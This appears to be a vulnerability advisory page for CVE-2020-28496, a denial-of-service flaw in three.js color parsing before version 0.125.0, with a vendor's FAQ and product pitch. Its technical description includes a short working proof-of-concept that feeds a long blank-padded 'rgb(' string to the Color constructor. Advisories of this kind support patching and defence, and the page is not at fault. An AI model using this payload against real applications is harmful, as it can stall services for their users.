CVE-2020-28496
7.5 · HIGHOverview
CVE-2020-28496 is a high-severity vulnerability affecting three_project three. It was published on February 18, 2021 and has a CVSS 3.1 base score of 7.5 (HIGH).
This vulnerability has a CVSS 3.1 base score of 7.5, rated HIGH. It can be exploited remotely over the network. No authentication or special privileges are required for exploitation.
Technical Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Remediation
Check the references section for vendor advisories and patches from three_project. Update three to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.
Affected Products
| Vendor | Product | Versions | Status |
|---|---|---|---|
| three_project | three | >= 0, < 0.125.0 | Affected |
References
Frequently Asked Questions
What is CVE-2020-28496?
CVE-2020-28496 is a high-severity vulnerability affecting three_project three. It was published on February 18, 2021 and has a CVSS 3.1 base score of 7.5 (HIGH).
How severe is CVE-2020-28496?
This vulnerability has a CVSS 3.1 base score of 7.5, rated HIGH. It can be exploited remotely over the network. No authentication or special privileges are required for exploitation.
How do I fix or remediate CVE-2020-28496?
Check the references section for vendor advisories and patches from three_project. Update three to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.
How can CyberStrike help with CVE-2020-28496?
CyberStrike's AI-powered security agents can automatically detect CVE-2020-28496 across your infrastructure using autonomous pentesting, DAST scanning, and HackBrowser. The platform continuously monitors for known vulnerabilities and provides actionable remediation guidance prioritized by real-world exploitability.
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